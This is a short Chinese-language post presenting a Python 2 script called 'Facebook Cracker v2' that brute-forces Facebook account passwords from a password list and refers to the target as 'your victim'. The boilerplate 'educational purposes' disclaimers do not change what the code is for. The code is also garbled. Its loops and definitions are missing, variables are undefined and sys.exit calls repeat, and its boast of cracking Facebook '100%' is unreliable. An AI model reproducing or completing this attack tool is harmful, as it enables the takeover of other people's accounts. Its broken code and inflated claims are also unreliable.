

直接上代码,看看如何实现的
#!usr/bin/python
#Facebook Cracker Version 2可以100%不间断地破解Facebook数据库Facebook防火墙!
#此计划仅用于教育目的。
#不要攻击人们的Facebook帐户是非法的!
#如果您想破解某人的帐户,您必须获得该用户的许可。
import sys
import random
import mechanize
import COOKIElib
GHT = '''
+=======================================+
|..........Facebook Cracker v 2.........|
+---------------------------------------+
|#Author: AMINE ADIB |
|#Contact: ***/AMINE_ADIB.forever|
|#Changing the Description of this tool |
|Won't made you the coder ^_^ !!! |
|#Respect Coderz ^_^ |
|#I take no responsibilities for the |
| use of this program ! |
+=======================================+
|..........Facebook Cracker v 2.........|
+---------------------------------------+
'''
print "Note: - This tool can crack facebook account even if you don't have the email of your victim"
print "# Hit CTRL+C to quit the program"
print "# Use *** for more infos about your victim ^_^"
passwordlist = str(raw_input("Enter the name of the password list file : "))
useragents = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')]
login = '***/login.php?login_attempt=1'
sys.stdout.write("\rrying %s.. " % password)
sys.stdout.flush()
site = br.open(login)
br.form['email'] =email
br.form['pass'] = password
print "\n [*] Password : %s\n" % (password)
sys.exit(1)
sys.exit(1)
br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
print "\n[*] Exiting program ..\n"
sys.exit(1)
sys.exit(1)
sys.exit(1)
sys.exit(1)
sys.exit(1)
#FOR MORE INFO : http://adf.ly/1XVM3d